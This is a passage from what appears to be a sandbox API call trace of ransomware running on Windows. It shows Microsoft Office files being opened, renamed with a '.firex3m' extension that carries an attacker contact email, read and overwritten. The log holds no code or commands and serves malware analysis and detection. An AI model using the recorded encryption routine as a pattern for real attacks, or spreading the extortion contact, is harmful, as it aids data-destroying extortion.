Ptr=0x6fe3bb0, Size=0x4de4) returned 0x6fe3bb0 [0261.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\9.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.260] Sleep (dwMilliseconds=0x1) [0261.267] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileMediumSquare.scale-200.png", len=0x86 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileMediumSquare.scale-200.png") returned 1 [0261.267] GetProcessHeap () returned 0x630000 [0261.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e58) returned 0x6fe3bb0 [0261.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileMediumSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_tilemediumsquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.268] Sleep (dwMilliseconds=0x1) [0261.280] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", len=0x72 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js") returned 1 [0261.280] GetProcessHeap () returned 0x630000 [0261.280] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e78) returned 0x6fe3bb0 [0261.281] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.286] Sleep (dwMilliseconds=0x1) [0261.295] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", len=0x75 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0261.295] GetProcessHeap () returned 0x630000 [0261.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea4) returned 0x6fe3bb0 [0261.295] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.890] Sleep (dwMilliseconds=0x1) [0263.902] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\163.png", len=0x7a | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\163.png") returned 1 [0263.902] GetProcessHeap () returned 0x630000 [0263.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca0) returned 0x6fe3bb0 [0263.902] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\163.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\163.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.903] Sleep (dwMilliseconds=0x1) [0264.668] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd", len=0x66 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd") returned 1 [0264.668] GetProcessHeap () returned 0x630000 [0264.668] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d0c) returned 0x6fe3bb0 [0264.668] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsresources.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.669] Sleep (dwMilliseconds=0x1) [0266.267] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x7d | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0266.267] GetProcessHeap () returned 0x630000 [0266.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc8) returned 0x6fe3bb0 [0266.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.269] Sleep (dwMilliseconds=0x1) [0266.436] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG", len=0x60 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 1 [0266.436] GetProcessHeap () returned 0x630000 [0266.436] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba0) returned 0x6fe3bb0 [0266.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.437] CloseHandle (hObject=0x640) returned 1 [0266.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.wpg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.439] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb92ab57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb92ab57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb950d65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x72006f, dwReserved1=0x400074, cFileName="MS.WPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWPGI~1.FIR")) returned 0x6d5380 [0266.439] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0266.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.wpg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.439] GetProcessHeap () returned 0x630000 [0266.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x746b4a8 [0266.439] GetProcessHeap () returned 0x630000 [0266.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x746a918 [0266.439] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.439] ReadFile (in: hFile=0x640, lpBuffer=0x746b4a8, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746b4a8*, lpNumberOfBytesRead=0x637ff0c*=0x560, lpOverlapped=0x0) returned 1 [0266.446] GetProcessHeap () returned 0x630000 [0266.446] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0266.446] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.446] WriteFile (in: hFile=0x640, lpBuffer=0x746a918*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746a918*, lpNumberOfBytesWritten=0x637ff0c*=0x560, lpOverlapped=0x0) returned 1 [0266.446] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.446] WriteFile (in: hFile=0x640, lpBuffer=0x746ae77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746ae77*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.446] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.446] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.446] CloseHandle (hObject=0x640) returned 1 [0266.459] GetProcessHeap () returned 0x630000 [0266.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746a918 | out: hHeap=0x630000) returned 1 [0266.459] GetProcessHeap () returned 0x630000 [0266.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746b4a8 | out: hHeap=0x630000) returned 1 [0266.459] GetProcessHeap () returned 0x630000 [0266.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0266.459] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb92ab57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb92ab57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64c2b644, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x637fd20, dwReserved1=0x746b4a8, cFileName="MS.WPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWPGI~1.FIR")) returned 0x6d53c0 [0266.460] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0266.460] Sleep (dwMilliseconds=0x1) [0266.472] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF", len=0x60 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 1 [0266.472] GetProcessHeap () returned 0x630000 [0266.472] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b94) returned 0x6fe3bb0 [0266.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.473] CloseHandle (hObject=0x640) returned 1 [0266.474] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.475] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x72006f, dwReserved1=0x400074, cFileName="MS.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSGIFI~1.FIR")) returned 0x6d5500 [0266.475] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0266.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.475] GetProcessHeap () returned 0x630000 [0266.475] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x441) returned 0x699eb0 [0266.475] GetProcessHeap () returned 0x630000 [0266.475] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x441) returned 0x7149800 [0266.475] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.475] ReadFile (in: hFile=0x640, lpBuffer=0x699eb0, nNumberOfBytesToRead=0x420, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699eb0*, lpNumberOfBytesRead=0x637ff0c*=0x420, lpOverlapped=0x0) returned 1 [0266.481] GetProcessHeap () returned 0x630000 [0266.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0266.481] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.481] WriteFile (in: hFile=0x640, lpBuffer=0x7149800*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7149800*, lpNumberOfBytesWritten=0x637ff0c*=0x420, lpOverlapped=0x0) returned 1 [0266.481] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.481] WriteFile (in: hFile=0x640, lpBuffer=0x7149c1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7149c1f*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.481] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.481] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.481] CloseHandle (hObject=0x640) returned 1 [0266.481] GetProcessHeap () returned 0x630000 [0266.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7149800 | out: hHeap=0x630000) returned 1 [0266.481] GetProcessHeap () returned 0x630000 [0266.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699eb0 | out: hHeap=0x630000) returned 1 [0266.481] GetProcessHeap () returned 0x630000 [0266.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0266.482] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64c77bc5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x9187496, dwReserved1=0x699ea8, cFileName="MS.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSGIFI~1.FIR")) returned 0x6d5380 [0266.482] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0266.482] Sleep (dwMilliseconds=0x1) [0268.507] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png") returned 1 [0268.507] GetProcessHeap () returned 0x630000 [0268.507] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c40) returned 0x6fe3bb0 [0268.507] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-80_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.509] Sleep (dwMilliseconds=0x1) [0268.513] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png") returned 1 [0268.513] GetProcessHeap () returned 0x630000 [0268.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c3c) returned 0x6fe3bb0 [0268.514] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.520] Sleep (dwMilliseconds=0x1) [0268.529] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png") returned 1 [0268.529] GetProcessHeap () returned 0x630000 [0268.529] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c38) returned 0x6fe3bb0 [0268.529] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-72_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.529] Sleep (dwMilliseconds=0x1) [0268.601] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png") returned 1 [0268.601] GetProcessHeap () returned 0x630000 [0268.601] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c34) returned 0x6fe3bb0 [0268.601] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-72.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.601] Sleep (dwMilliseconds=0x1) [0268.606] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png") returned 1 